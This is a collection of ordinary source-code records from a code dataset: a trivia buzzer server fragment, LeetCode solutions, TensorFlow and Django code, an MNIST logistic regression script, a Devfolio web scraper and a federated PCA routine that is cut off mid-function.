player=player,\n            )):\n                scores[player] = scores.get(player, 0) + 100\n                with open(SCORE_BACKUP, 'w') as file:\n                    file.write(json.dumps(scores))\n                with buzz_queue.mutex:\n                    buzz_queue.queue.clear()\n                click.echo(\"{player} score now {score}\".format(\n                    player=player,\n                    score=scores.get(player, 0),\n                ))\n    except KeyboardInterrupt:\n        exit(0)\n","repo_name":"mcrossen/trivia-buzzer","sub_path":"backend/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24011327364","text":"class Solution:\n    # @param {integer[][]} matrix\n    # @param {integer} target\n    # @return {boolean}\n    def searchMatrix(self, matrix, target):\n        # each column from top to bottom ascending\n        if not matrix:\n            return False\n        m,n = len(matrix), len(matrix[0])\n        i,j = 0,n-1\n        while i<m and j>=0:\n            if matrix[i][j] == target:\n                return True\n            if matrix[i][j] < target:\n                i += 1\n            else:\n                j -= 1\n        return False\n        \n##    def binarySearchRow(self, left, right, target, matrix):\n##        if left == right:\n##            return left\n##        #middle = (left + right)//2\n##        print(left, middle, right)\n##        if matrix[middle][0] > target:\n##            return self.binarySearchRow(left, middle, target, matrix)\n##        if matrix[middle+1][0] <= target:\n##            return self.binarySearchRow(middle+1, right, target, matrix)\n##        return middle\n##    def binarySearchColumn(self, left, right, target, row):\n##        if left == right:\n##            return True if row[left] == target else False\n##        #middle = (left + right)//2\n##        print(left, middle, right)\n##        if row[middle] == target:\n##            return True\n##        if row[middle] < target:\n##            return self.binarySearchColumn(middle+1, right, target, row)\n##        if row[middle] > target:\n##            return self.binarySearchColumn(left, middle, target, row)\n##        \n##    def searchMatrix(self, matrix, target):\n##        if not matrix:\n##            return False\n##        row = self.binarySearchRow(0, len(matrix)-1, target, matrix)\n##        for i in range(row+1):\n##            if self.binarySearchColumn(0,len(matrix[0])-1,target, matrix[i]):\n##                return True\n##        return False\n            \n\nmatrix = [[-5]]\ntarget = -5        \nmatrix = [\n          [1,   4,  7, 11, 15],\n          [2,   5,  8, 12, 19],\n          [3,   6,  9, 16, 22],\n          [10, 13, 14, 17, 24],\n          [18, 21, 23, 26, 30]\n        ]\ntarget = 5\ntarget = 20\nprint(Solution().searchMatrix(matrix, target))\n","repo_name":"songzy12/LeetCode","sub_path":"python/240.search-a-2d-matrix-ii.py","file_name":"240.search-a-2d-matrix-ii.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"26982900522","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDisciplina de Algoritmos\n\nAluno: Marlon Lazzarotti\n\"\"\"\n\ndef pular_nuvens(nuvens):\n    saltos = 0\n    indice = 0\n    while indice < (len(nuvens) - 2):\n        if nuvens[indice + 2] != 1:\n            saltos += 1 #realiza um salto\n            indice += 2 #o salto é realizado para dois indices a frente, pois não é nuvem escura\n        else:\n            saltos += 1 #realiza o salto\n            indice += 1 #o salto é realizado um indice a frente apenas, pois a proxima nuvem seria escura\n    return saltos\n\n\n#caso de teste 1\nnuvens = [0,0,1,0,0,1,0]\nprint(pular_nuvens(nuvens))\n\n#caso de teste 2\nnuvens = [0,0,0,0,1,0]\nprint(pular_nuvens(nuvens))\n","repo_name":"mlazza/estudos","sub_path":"Studies/Metodista/desafio_nuvens.py","file_name":"desafio_nuvens.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6379918739","text":"from base import BaseModel\r\nfrom configs import args\r\nfrom model.model_utils import create_multi_rnn_cell\r\nimport numpy as np\r\n\r\nimport tensorflow as tf\r\n\r\n# encoder_RNN, context_RNN\r\nclass Encoder(BaseModel):\r\n\tdef __init__(self, vocab_size, is_embedding=True):\r\n\t\t# if is_embedding=True, this is encoder_RNN\r\n\t\t# if is_embedding=False, this is context_RNN\r\n\t\tsuper().__init__('encoder')\r\n\t\tself.is_embedding = is_embedding\r\n\t\twith tf.variable_scope(self._scope, reuse=tf.AUTO_REUSE):\r\n\t\t\tself.embedding = tf.get_variable('lookup_table', [vocab_size, args.embed_dims])\r\n\t\t\tself.encoder_cell = create_multi_rnn_cell(args.rnn_type, args.rnn_size, args.keep_prob, args.num_layer)\r\n\r\n\tdef __call__(self, inputs):\r\n\t\twith tf.variable_scope(self._scope, reuse=tf.AUTO_REUSE):\r\n\t\t\tif self.is_embedding:\r\n\t\t\t\tencoder_lengths = tf.count_nonzero(inputs, -1, dtype=tf.int32)\r\n\t\t\t\tembedded_inputs = tf.nn.embedding_lookup(self.embedding, inputs)\r\n\t\t\telse:\r\n\t\t\t\tencoder_lengths = None\r\n\t\t\t\tembedded_inputs = inputs\r\n\t\t\toutputs, states = tf.nn.dynamic_rnn(self.encoder_cell, embedded_inputs, encoder_lengths, dtype=tf.float32)\r\n\t\t\treturn outputs, states\r\n\r\nif __name__ == '__main__':\r\n\tsess = tf.Session()\r\n\tenc_inputs = np.array([[2,3,4],[3,4,5]])\r\n\tvocab_size = 18506\r\n\tencoder = Encoder(vocab_size)\r\n\tenc_inp_ph = tf.placeholder(tf.int32, [None, None])\r\n\toutputs, states = encoder(enc_inp_ph)\r\n\r\n\t# with tf.Session() as sess:\r\n\tsess.run(tf.global_variables_initializer())\r\n\tresult = sess.run(states, feed_dict={enc_inp_ph:enc_inputs})\r\n\tprint(type(result))\r\n\tprint(len(result))\r\n\tprint(result[-1].shape)\r\n\tprint(type(result[-1]))","repo_name":"jshmSimon/VHRED","sub_path":"model/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"16"}
+{"seq_id":"40567163894","text":"from django.contrib import admin\n\nfrom MyEventWorld.events.models import Event, Review\n\n\n@admin.register(Event)\nclass EventAdmin(admin.ModelAdmin):\n    EVENTS_PER_PAGE = 3\n\n    list_display = (\n        \"title\",\n        \"event_category\",\n        \"creator\",\n        \"created\",\n        \"updated\",\n    )\n    list_filter = (\n        \"created\",\n        \"updated\",\n    )\n    ordering = (\"-updated\",)\n    search_fields = (\"title\", \"creator\")\n    sortable_by = (\n        \"title\",\n        \"creator\",\n        \"event_category\",\n    )\n    fieldsets = (\n        (\n            None,\n            {\n                \"fields\": (\n                    \"creator\",\n                    \"title\",\n                    \"event_description\",\n                    \"event_category\",\n                    \"event_picture\",\n                ),\n            },\n        ),\n    )\n    list_per_page = EVENTS_PER_PAGE\n\n\n@admin.register(Review)\nclass ReviewAdmin(admin.ModelAdmin):\n    REVIEWS_PER_PAGE = 15\n\n    list_display = (\n        \"review_title\",\n        \"review_creator\",\n        \"review_for\",\n        \"date_created\",\n    )\n    list_filter = (\"date_created\",)\n    ordering = (\"-date_created\",)\n    search_fields = (\n        \"review_title\",\n        \"review_creator\",\n    )\n    sortable_by = (\"review_title\",)\n    list_per_page = REVIEWS_PER_PAGE\n","repo_name":"vasskess/MyEventWorld","sub_path":"MyEventWorld/events/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38801213863","text":"\"\"\"\nVersion handling for mwax_mover\n\"\"\"\nimport typing\nimport pkg_resources  # part of setuptools\n\n\ndef get_mwax_mover_version_string() -> str:\n    \"\"\"Returns the major, minor and patch version of mwax_mover as a string\"\"\"\n    package_version = pkg_resources.require(\"mwax_mover\")[0].version\n    return package_version\n\n\ndef get_pmwax_mover_version_number() -> typing.Tuple[int, int, int]:\n    \"\"\"Returns a the major, minor and patch version of mwax_mover\"\"\"\n    version = get_mwax_mover_version_string()\n    try:\n        return (\n            int(version.split(\".\")[0]),\n            int(version.split(\".\")[1]),\n            int(version.split(\".\")[2]),\n        )\n    except Exception as catch_all_exception:\n        raise Exception(\n            f\"Unabled to determine mwax_mover version: Got {version} which\"\n            f\" could not be parsed. Error: {catch_all_exception}\"\n        ) from catch_all_exception\n","repo_name":"MWATelescope/mwax_mover","sub_path":"src/mwax_mover/version.py","file_name":"version.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"41512688135","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom app_film.models import FilmModel, LikeModel, CommentModel \nfrom django.contrib import messages\nfrom app_film.forms import FilmForm  #form located app_film module(file) so we have to appy for app_film.form\nfrom django.views import generic\nfrom django.db.models import Q \n# from django.http import HttpResponse\n# function-based view and class-based view\n# def index(request):\n#     films=FilmModel.objects.all()   \n#     context={\n#         'films':films,\n#     }\n#     return render (request,'index.html',context)\n# class based views\nclass IndexView(generic.View):\n    def get(self,request,*args, **kwargs):\n          films=FilmModel.objects.order_by(\"-id\")\n          query=request.GET.get(\"query\")\n          if query:\n             films=films.filter(\n                 Q(name__contains=query) | Q(about__contains=query))\n          context={\n        'films':films,\n    }\n          return render (request,'index.html',context)\n      \n    \n# def detail(request,id):\n#     film=FilmModel.objects.get(id=id)\n#     film.views_count+=1\n#     film.save()\n    \n#     context={\n#         'film': film,\n#     }\n    \n#     if request.method=='POST':\n#         choice = request.POST.get(\"choice\")\n#         if choice ==\"like\":\n            \n#             if not LikeModel.objects.filter(user=request.user).exists():\n                \n#                 LikeModel.objects.create(\n#                 user=request.user,\n#                 film=film,\n#          )\n#                 messages.success(request,'Liked')\n#             else:\n#                 messages.info(request,'Already liked')\n#         elif choice==\"comment\":\n#             comment=request.POST.get(\"comment\")\n#             CommentModel.objects.create(\n#                 user=request.user,\n#                 film=film,\n#                 comment=comment,\n                \n#             )    \n#     return render (request,'detail.html',context)\n\nclass DetailView(generic.View):\n    def get(self,request,id,*args, **kwargs):\n        film=FilmModel.objects.get(id=id)\n        film.views_count+=1\n        film.save()\n    \n        context={\n            'film': film,\n        }\n        return render(request, 'detail.html',context)\n    \n    def post(self,request,id,*args, **kwargs):\n        self.film=FilmModel.objects.get(id=id)\n        choice = request.POST.get(\"choice\")\n        context = {'film': self.film}\n        if choice ==\"like\":\n            \n                 \n            \n            if not LikeModel.objects.filter(user=request.user).exists():\n                \n                \n                LikeModel.objects.create(\n                    user=request.user,\n                    film=self.film,\n                 )\n                messages.success(request,'Liked')\n            else:\n                messages.info(request,'Already liked')\n        elif choice==\"comment\":\n                  comment=request.POST.get(\"comment\")\n                  CommentModel.objects.create(\n                  user=request.user,\n                  film=self.film,\n                  comment=comment,\n                \n                )    \n        return render (request,'detail.html',context)\n        \n        \n        \n# def createFilm(request):\n#     form=FilmForm()                 #you can also write like this context {'form': FilmForm()}\n#     context={\n#         'form': form,\n#     }\n#     if request.method=='POST':\n#         # request.POST = {     } is dictionary\n#         form=FilmForm(request.POST, files=request.FILES)\n#         \"\"\"\n#         request.POST = simple data given through\n#         files=request.FILES = files such instance of video, photo etc given through\n#         \"\"\"\n#         if form.is_valid():   \n#             FilmModel.objects.create(\n#                 name=form.cleaned_data.get(\"name\"),\n#                 poster=form.cleaned_data.get(\"poster\"),\n#                 video=form.cleaned_data.get(\"video\"),\n#                 rating=form.cleaned_data.get(\"rating\"),\n#                 pub_date=form.cleaned_data.get(\"pub_date\"),\n#                 views_count=form.cleaned_data.get(\"views_count\"),\n#                 about=form.cleaned_data.get(\"about\"),\n#             )\n            \n#     \"\"\" \n#     context = {\n#         'form': FilmForm()\n#     }\n#     \"\"\"\n#     return render(request,'create-film.html',context)\nclass CreateView(generic.View):\n    def get(self,request,*args, **kwargs):\n        form=FilmForm()   \n        context={\n        'form': form,\n         }\n        return render(request,'create-film.html',context)\n    \n    def post(self,request,*args, **kwargs):\n        \n        form=FilmForm(request.POST, files=request.FILES)\n          \n        # context = {\n        #         'form': form\n        #         }\n          \n        \"\"\"\n        request.POST = simple data given through\n        files=request.FILES = files such instance of video, photo etc given through\n        \"\"\"\n        if form.is_valid():   \n            # FilmModel.objects.create(\n            # name=form.cleaned_data.get(\"name\"),\n            # poster=form.cleaned_data.get(\"poster\"),\n            # video=form.cleaned_data.get(\"video\"),\n            # rating=form.cleaned_data.get(\"rating\"),\n            # pub_date=form.cleaned_data.get(\"pub_date\"),\n            # views_count=form.cleaned_data.get(\"views_count\"),\n            # about=form.cleaned_data.get(\"about\"),\n            # )\n        # you can also write in this form \n            name=form.cleaned_data.get(\"name\")\n            poster=form.cleaned_data.get(\"poster\")\n            video=form.cleaned_data.get(\"video\")\n            rating=form.cleaned_data.get(\"rating\")\n            pub_date=form.cleaned_data.get(\"pub_date\")\n            views_count=form.cleaned_data.get(\"views_count\")\n            about=form.cleaned_data.get(\"about\")\n            \n            film = FilmModel.objects.create(\n                name=name,\n                poster=poster,\n                video=video,\n                rating=rating,\n                pub_date=pub_date,\n                views_count=views_count,\n                about=about\n            ) \n            \n        # context = {\n        #         'form': form\n        #         }   \n    \n        return redirect('app_film:index')\n    \n    \n    # users = User.objects.all()\n    # films = FilmModel.objects.all()\n    \n    \n    # context={\n    #     'title': 'Index Page',\n    #     'name': 'Hello World',\n    #     'text':'I am learning django',\n    #     'students':['stud1','stud2','stud3'],\n    #     'numbers':[1,2,9,3,7,6,5,8],\n    #     'users'  : users, \n    #     'films' :films, \n    # }\n    # # POST request\n    # sum=''\n    # if request.method=='POST':\n    #     # print(request.POST)\n    #     f=request.POST.get('first') #bir \n    #     s=request.POST.get('second') #iki\n    #     sum= f + ' ' + s\n        \n    # context['sum']=sum\n        \n       \n    \n    \n\n    #pull data from database\n    #transform\n    #send email\n\n# Create your views here.\n\n","repo_name":"telmanabdulladev/filmproject","sub_path":"app_film/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9551587539","text":"#########################################################################################\n#Description:\n# Read the training data and perform the calculations\n#\n#########################################################################################\nimport numpy as np\nfrom LRlibs import *\nfrom USPS_data_extraction import *\nfrom sklearn import preprocessing\nprint('Running Logistic Regression...\\n')\ntry:#training data\n\tdata = np.load(\"trainData.npz\")\n\ttrains_images = data['trains_images']\n\ttrain_images_label = data['train_images_label']\nexcept FileNotFoundError:#read from mnist file if presaved data not found\n\timages = gzip.open('MNIST_Data/train-images-idx3-ubyte.gz', 'rb')\n\tlabels = gzip.open('MNIST_Data/train-labels-idx1-ubyte.gz', 'rb')\n\t(trains_images,train_images_label) =read_gz(images, labels);\n\tnp.savez(\"trainData.npz\", trains_images=trains_images, train_images_label=train_images_label)\ntry:\n\tdata = np.load(\"testData.npz\")\n\ttest_images = data['test_images']\n\ttest_images_label = data['test_images_label']\nexcept FileNotFoundError:\n\timages = gzip.open('MNIST_Data/t10k-images-idx3-ubyte.gz', 'rb')\n\tlabels = gzip.open('MNIST_Data/t10k-labels-idx1-ubyte.gz', 'rb')\n\t(test_images,test_images_label) =read_gz(images,labels);\n\tnp.savez(\"testData.npz\", test_images=test_images, test_images_label=test_images_label)\ntry:#usps data\n\tdata = np.load(\"USPStestData-logistic.npz\")\n\tUSPS_test_images = data['USPS_test_images']\n\tUSPS_test_images_label = data['USPS_test_images_label']\nexcept FileNotFoundError:\n\t(USPS_test_images,USPS_test_images_label) =extract_usps_data(1)\n\tnp.savez(\"USPStestData-logistic.npz\", USPS_test_images=USPS_test_images, USPS_test_images_label=USPS_test_images_label)\n# print(trains_images.shape)\n# print(train_images_label.shape)\n# print(USPS_test_images.shape)\n# print(USPS_test_images_label)\n\n# view_image(normalized_X[9999,:,:], train_images_label[9999])\ntrains_images = trains_images.reshape([60000,784])#flattening the input array\ntest_images = test_images.reshape([10000,784])\ntrains_images = preprocessing.scale(trains_images)#standardising the image data set with zero mean and unit standard deviation\ntest_images = preprocessing.scale(test_images)\nUSPS_test_images = preprocessing.scale(USPS_test_images)\n# trains_images = (trains_images - trains_images.min())/(trains_images.max()-trains_images.min())\n# test_images = (test_images - test_images.min())/(test_images.max()-test_images.min())\n# print(trains_images.shape)\n# print(train_images_label.shape)\n# print(test_images.shape)\n# print(test_images_label.shape)\n\n################################Preparing the weights and feature matrices##################################\nW = np.ones((10, 785), dtype=float32)  # Initialize numpy array #784+1 for the weight with one, also added the bias column too\n# W = np.random.randn(10, 785) * 0.001\n# trains_images = np.insert(trains_images, 1, values=1, axis=1)#adding the extra column in feature matrix\ntrains_images = np.insert(trains_images, 0, 1, axis=1)#adding the extra column in feature matrix, 785 features now\nvalidation_images = trains_images[55000:60000]\nvalidation_labels = train_images_label[55000:60000,:]\ntrains_images = trains_images[0:55000]\ntrain_images_label = train_images_label[0:55000,:]\ntest_images = np.insert(test_images, 0, 1, axis=1)#adding the extra column in feature matrix, 785 features now\nUSPS_test_images = np.insert(USPS_test_images, 0, 1, axis=1)#adding the extra column in feature matrix, 785 features now\n\n# print(trains_images.shape)\n# print(train_images_label.shape)\n# print(validation_images.shape)\n# print(validation_labels.shape)\ntrain_images_label_target_mat = np.zeros((55000, 10), dtype=uint8)\ntrain_images_label_target_mat[np.arange(55000), train_images_label.T] = 1#hot vector ofr the input label\n\n##performing the model traning over differnet values of learning rate\nfor learningrate in np.arange(0.01,0.15,0.01):\n\tprint('Current learning rate is %f'%learningrate)\n\tW = np.ones((10, 785), dtype=float32)  # Initialize numpy array for weights #784+1\n\tfilename = 'weight_collections/weights.npz'+str(learningrate)\n\n\ttry:\n\t\tdata = np.load(filename+'.npz')\n\t\tW = data['W']\n\texcept FileNotFoundError:\n\t\t# for epoch in range(10):\n\t\t\t# loss = cross_entropy2(W,trains_images, train_images_label_target_mat, 0)\n\t\tW = sgd(W, trains_images, train_images_label_target_mat, 0, 200, learningrate)\n\t\t\t# W -= 0.01 * grad # [K x D]\n\t\t\t# if(epoch % 10 == 0):\n\t\t\t# \tprint ('iteration %d/%d: loss %0.3f' % (epoch, 1000, loss))\n\t\t# filename = 'weights.npz'+str(learningrate)\n\t\tnp.savez(filename, W=W)#save the optimised weight for later direct loading\n\t#performing the accuracy checking\n\tyDashTrain = predict(W, trains_images)\n\t# print(W)\n\tcount = 0;\n\tfor i in range(55000):\n\t\t# print(\"predicted label : %d Actual Label %d\" %(yDashTrain[i], train_images_label[i]))\n\t\tif(yDashTrain[i] == train_images_label[i]):\n\t\t\tcount = count + 1\n\tprint(\"training set Accuracy is %f\" %(count/55000))\n\tyDashVal = predict(W, validation_images)\n\tcount = 0\n\tfor i in range(5000):\n\t\t# print(\"predicted label : %d Actual Label %d\" %(yDash[i], validation_labels[i]))\n\t\tif(yDashVal[i] == validation_labels[i]):\n\t\t\tcount = count + 1\n\tprint(\"validation set Accuracy is %f\"%(count/5000))\n\tyDashTest = predict(W, test_images)\n\tcount = 0\n\tfor i in range(10000):\n\t\t# print(\"predicted label : %d Actual Label %d\" %(yDash[i], test_images_label[i]))\n\t\tif(yDashTest[i] == test_images_label[i]):\n\t\t\tcount = count + 1\n\tprint(\"Test set Accuracy is %f\" %(count/10000))\n\tyDashTest = predict(W, USPS_test_images)\n\tcount = 0\n\tfor i in range(19999):\n\t\t# print(\"predicted label : %d Actual Label %d\" %(yDash[i], USPS_test_images_label[i]))\n\t\t# print(USPS_test_images_label[i])\n\t\t# print(np.where( USPS_test_images_label[i]==1))\n\t\tif(yDashTest[i] == np.where( USPS_test_images_label[i]==1)):\n\t\t\tcount = count + 1\n\n\tprint(\"USPS set Accuracy is %f\" %(count/19999))\n\n\nprint('\\n\\n')\n","repo_name":"swatishr/classification-using-logistic-regression-and-single-layer-neural-network","sub_path":"code/logistic_main.py","file_name":"logistic_main.py","file_ext":"py","file_size_in_byte":5900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42632559244","text":"from selenium import webdriver\nfrom time import sleep\nimport io\nimport json\n\n\n\n\n\n# INITIALIZING VARIABLES\nDRIVER_PATH = \"E:\\\\Setups\\\\chromedriver.exe\"\nDOWN_FOLDER_PATH = \"C:\\\\Users\\\\TANISHA\\\\Desktop\\\\DevfolioScraper\\\\DatbaseDevfolio\"\n\n\n\n\n\n# CREATING WEB DRIVER\ndriver = webdriver.Chrome(executable_path=DRIVER_PATH)\ndriver.get(\"https://devfolio.co/hackathons?hackathon_type%3Din_person%2Conline%26time_frame%3Dpast\")\nsleep(5)\n\n\n\n\n\n# Get list of all submission btns\nviewSubmissionBtnList = driver.find_elements_by_class_name(\"csLBIo\")\n\nfor viewSubmissionBtn in viewSubmissionBtnList:\n    print(\"\\nstart\")\n    viewSubmissionBtn.click()\n\n    idx = viewSubmissionBtnList.index(viewSubmissionBtn)\n    \n    # change the driver value to the new window\n    window_after = driver.window_handles[idx + 1]\n    driver.switch_to.window(window_after)\n    print(\"after clicking view submit button: \", driver.current_url)\n\n\n    # find devfolio project links: devfolioProjectSiteLinkList\n    sleep(10)\n    projectCards = driver.find_elements_by_class_name(\"ctjdaT\")\n    devfolioProjectSiteLinkList = []\n    for projectCard in projectCards:\n        devfolioProjectSiteLinkList += [projectCard.get_attribute(\"href\")]\n    print(\"project in devfolio link : \\t\\t\", devfolioProjectSiteLinkList)\n\n    \n    gitHubList = []\n    nameList = []\n    descList = []\n    specialMentionList = []\n    stacksList = []\n    longDescList = []\n    if devfolioProjectSiteLinkList:\n        for projectSiteLink in devfolioProjectSiteLinkList:\n            driver.get(projectSiteLink)\n            sleep(5)\n            nameList += [driver.find_elements_by_class_name(\"kLvVpV\")[0].text]\n            descList += [driver.find_elements_by_class_name(\"ibjmgQ\")[0].text]\n            if driver.find_elements_by_class_name(\"fnBGpd\"):\n                specialMentionList += [driver.find_elements_by_class_name(\"fnBGpd\")[0].text]\n            else:\n                specialMentionList += \" \"\n            longDescList += [driver.find_elements_by_class_name(\"dWQqhO\")[0].text]\n            githubProjectList = []\n            for gitHubLink in driver.find_elements_by_class_name(\"CcGlC\"):\n                githubProjectList += [gitHubLink.get_attribute(\"href\")]\n            gitHubList.append(githubProjectList)\n            stackList = []\n            for stack in driver.find_elements_by_class_name(\"hhaqiy\"):\n                stackList += [stack.text]\n            stacksList.append(stackList)\n        print(\"nameList\\t\", len(nameList))\n        print(\"descList\\t\", len(descList))\n        print(\"devfolioProjectSiteLinkList\\t\", len(devfolioProjectSiteLinkList))\n        print(\"gitHubList\\t\", len(gitHubList))\n        print(\"specialMentionList\\t\", len(specialMentionList))\n        print(\"stacksList\\t\", len(stacksList))\n        print(\"longDescList\\t\", len(longDescList))\n\n        finalDic = []\n        for i in range(len(specialMentionList)):\n            dic = {\n                \"idNo\":i, \n                \"name\":nameList[i], \n                \"desc\":descList[i], \n                \"devfolioLink\":devfolioProjectSiteLinkList[i], \n                \"githubLinks\":gitHubList[i], \n                \"special_mention\":specialMentionList[i],\n                \"stacksUsed\": stacksList[i],\n                \"longDesc\":longDescList[i]\n            }\n            finalDic.append(dic)\n\n\n    with open(DOWN_FOLDER_PATH+ \"\\\\finalDic\"+ str(idx) + \".json\", 'w') as f:\n        json.dump(finalDic, f)\n\n\n    allTabs = driver.window_handles\n    print(\"all tabs currently open: \", allTabs)\n    print(\"before switching tab: \", driver.current_url)\n    driver.switch_to.window(allTabs[0])\n    print(\"after switching tab: \", driver.current_url)","repo_name":"tanishabisht/Scrapers","sub_path":"Devfolio Scraper/scraperDevfolio.py","file_name":"scraperDevfolio.py","file_ext":"py","file_size_in_byte":3644,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"27917920304","text":"class Solution:\n    def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]:\n        m = len(image)\n        n = len(image[0])\n        \n        visited = [[None for _ in range(n)] for _ in range(m)]\n        initialColor = image[sr][sc]\n        queue = [(sr,sc)]\n        \n        while queue:\n            sr, sc = queue.pop(0)\n            visited[sr][sc] = True\n            image[sr][sc] = newColor\n            for dsr, dsc in [(sr+1, sc), (sr-1, sc), (sr, sc+1), (sr, sc-1)]:\n                if 0 <= dsr < m and 0 <= dsc < n and not visited[dsr][dsc] and image[dsr][dsc]==initialColor:\n                    queue.append((dsr, dsc))\n        return image","repo_name":"AdityA0PS/Phase-2-Self-Paced-DSA","sub_path":"733-flood-fill/733-flood-fill.py","file_name":"733-flood-fill.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72080559688","text":"\n####### HYBRID POWER ITERATION SCHEME #######\ndef hybrid_scheme(data_list, k, maxit, filename=None, filename2=None, scipy=None, choices=None, precomputed_pca=None, federated_qr=False):\n    ug, eigenvalues, counter = better_hybrid_scheme(local_data=data_list, k=k, maxit=maxit, filename=filename, choices=choices, scipy=scipy, precomputed_pca=precomputed_pca, federated_qr=federated_qr)\n\n    #ug, ev, eigenvalues = simulate_guo_benchmark(local_data=data_list, k=k, maxit=maxit, filename=filename, choices=choices, scipy=scipy, precomputed_pca=precomputed_pca, fractev=0.75)\n    ug1 = ug.copy()\n    #restart = assure_consecutive(eigenvalues)\n    restart = counter\n    print(restart)\n    for i in range(restart, k - 1):\n        next_eigenvec = simulate_guo(data_list, maxit=maxit, V_k=ug1[:, 0:i],\n                                     filename=filename2, scipy=scipy, choices=choices, precomputed_pca=None, federated_qr = False, starting_vector= ug1[:, i])\n        ug = np.concatenate((ug1[:, 0:i], next_eigenvec), axis=1)\n    return ug\n\n\n\n\n\ndef better_hybrid_scheme(local_data, k, maxit, filename, scipy, choices, precomputed_pca=None, federated_qr=False):\n    '''\n       Simulate a federated run of principal component analysis using Guo et als algorithm in a modified version.\n\n       Args:\n           local_data: List of numpy arrays containing the data. The data has to be scaled already.\n           k: The number of dimensions to retrieve\n           maxit: Maximal number of iterations\n\n       Returns: A column vector array containing the global eigenvectors\n\n       '''\n    G_list = []\n    iterations = 0\n    converged = False\n    total_len = 0\n    # generate an intitial  orthogonal noise matrix\n    for d in local_data:\n        total_len = total_len + d.shape[1]\n    start = 0\n    G_i = sh.generate_random_gaussian(total_len, k)\n    G_i, R = la.qr(G_i, mode='economic')\n\n    # send parts to local sites\n    for i in range(len(local_data)):\n        G_list.append(G_i[start:start + local_data[i].shape[1], :])\n        log_transmission(filename, \"G_i=SC\", iterations, i, G_list[i])\n\n        start = start + local_data[i].shape[1]\n\n    H_i_prev = sh.generate_random_gaussian(local_data[0].shape[0], k)  # dummy init\n    Gi_prev = G_i\n\n    G_conv = None  # converged eigenvector matrix\n    G_conv_list = []\n    converged_counter = 0\n    annormaly = [0] * k  # init counter for small eigengaps\n    global_eigenvalues = []\n    global_deltas = []\n    while not converged and iterations < maxit and annormaly[converged_counter] < 10:\n        iterations = iterations + 1\n        H_i = np.zeros((local_data[0].shape[0], k - converged_counter))\n\n        for i in range(len(local_data)):\n            H_local = np.dot(local_data[i], G_list[i])\n            log_transmission(filename, \"H_local=CS\", iterations, i, H_local)\n            H_i = H_i + H_local\n\n        log_transmission(filename, \"H_global=SC\", iterations, 1, H_i)\n\n        converged, sum_of_delta, converged_eigenvals, delta = gv.convergence_checker(H_i, H_i_prev, return_converged=True)\n        #print(delta)\n        for i in range(len(G_list)):\n            G_list[i] = np.dot(local_data[i].T, H_i) + G_list[i]\n\n        G_i = np.concatenate(G_list, axis=0)\n        gi_delta_obj = sh.eigenvector_convergence_checker(G_i, Gi_prev)\n\n        # get the converged eigenvalues\n        eigenvals = global_eigenvalues.copy()\n        delta = np.append(global_deltas, delta)\n        diff = []\n        # iterate over non converged eigenvectors\n        for col in range(G_i.shape[1]):\n            eigenvals.append(np.sqrt(np.linalg.norm(G_i[:, col])))\n        # compute eigengaps for all eigenvalues\n        for e in range(1, len(eigenvals)):\n            diff.append(np.log(np.abs(eigenvals[e - 1] - eigenvals[e])))\n        # compute mean and standard deviation over all eigengaps\n        mm = np.mean(diff)\n        ssd = np.sqrt(np.var(diff))\n\n        # flag eigenvectors that exhibit a very small eigengap\n        for d in range(len(diff)):\n            if diff[d] < mm - ssd:\n                annormaly[d] = annormaly[d] + 1\n        #print(annormaly)\n\n\n\n        if federated_qr:\n            temp = []\n            if len(G_conv_list)!=0:\n                for i in range(len(G_list)):\n                    temp.append(np.concatenate([G_conv_list[i], G_list[i]], axis=1))\n                G_i, G_list = qr.simulate_federated_qr(temp, encrypt=False)\n            else:\n                G_i, G_list = qr.simulate_federated_qr(G_list, encrypt=False)\n        else:\n            # Orthonormalise based on all eigenvectors\n            if G_conv is not None and G_conv.shape[1] > 0:\n                G_i = np.concatenate([G_conv, G_i], axis=1)\n            G_i, R = la.qr(G_i, mode='economic')\n\n        # current iteration led to some eigenvectors converging\n        if len(converged_eigenvals) > 0:\n            converged_counter = converged_counter + len(converged_eigenvals)\n            # slice H_i and reset annomaly counter\n            H_i_prev = H_i[:, len(converged_eigenvals):]\n            annormaly = k * [0]\n            # update converged eigenvector array\n            global_eigenvalues = eigenvals[0:converged_counter]\n            global_deltas = delta[0:converged_counter]\n        else:\n            H_i_prev = H_i\n\n        log_current_accuracy(scipy=scipy, G_i=G_i, eigenvals=eigenvals, conv=delta, current_iteration=iterations, filename=filename, choices=choices, precomputed_pca=precomputed_pca, gi_delta_obj=gi_delta_obj)\n        # in any case reslice G_i into converged and\n        # unconverged\n        #print(converged_counter)\n\n        if federated_qr:\n            G_conv_list = []\n            for i in range(len(G_list)):\n                G_conv_list.append(G_list[i][:, 0:converged_counter])\n                G_list[i] = G_list[i][:, converged_counter:]\n\n        else:\n            G_conv = G_i[:, 0:converged_counter]\n            G_i = G_i[:, converged_counter:]\n            # redistribute the eigenvector parts\n            start = 0\n            for i in range(len(local_data)):\n                G_list[i] = G_i[start:start + local_data[i].shape[1], :]\n                